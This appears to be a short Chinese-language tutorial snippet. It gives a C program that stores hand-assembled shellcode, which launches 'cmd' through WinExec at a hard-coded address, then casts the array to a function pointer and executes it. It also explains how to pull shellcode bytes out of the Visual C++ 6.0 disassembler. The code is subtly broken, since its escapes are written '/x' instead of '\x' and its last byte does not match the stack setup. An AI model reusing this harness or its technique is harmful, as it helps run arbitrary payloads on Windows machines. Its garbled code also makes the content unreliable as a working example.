#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"/x55"
"/x8B/xEC"
"/x53"
"/xC6/x45/xFC/x63"
"/xC6/x45/xFD/x6D"
"/xC6/x45/xFE/x64"
"/xC6/x45/xFF/x00"
"/x6A/x05"
"/x8D/x45/xFC"
"/x50"
"/xB8/x0D/x25/x86/x7C" // call WinExec
"/xFF/xD0"
"/x5C";
int main(int argc, char* argv[])
{
int (*func)();
func = (int(*)())shellcode;
(int)(*func)();
return 0;
}

通过VC 6.0内陷汇编,然后F10进行DEBUG,程序执行时,按ALT+8进入反汇编,选择要生成SHELLCODE的部分,然后右击选择"CODE BYTE",此时机器码已经显示。然后就是整理SHELLCODE喽。

上面的部分就是通用的SHELLCODE调用部分。将自己生成好的SHELLCODE粘贴到shellcode的后面即可。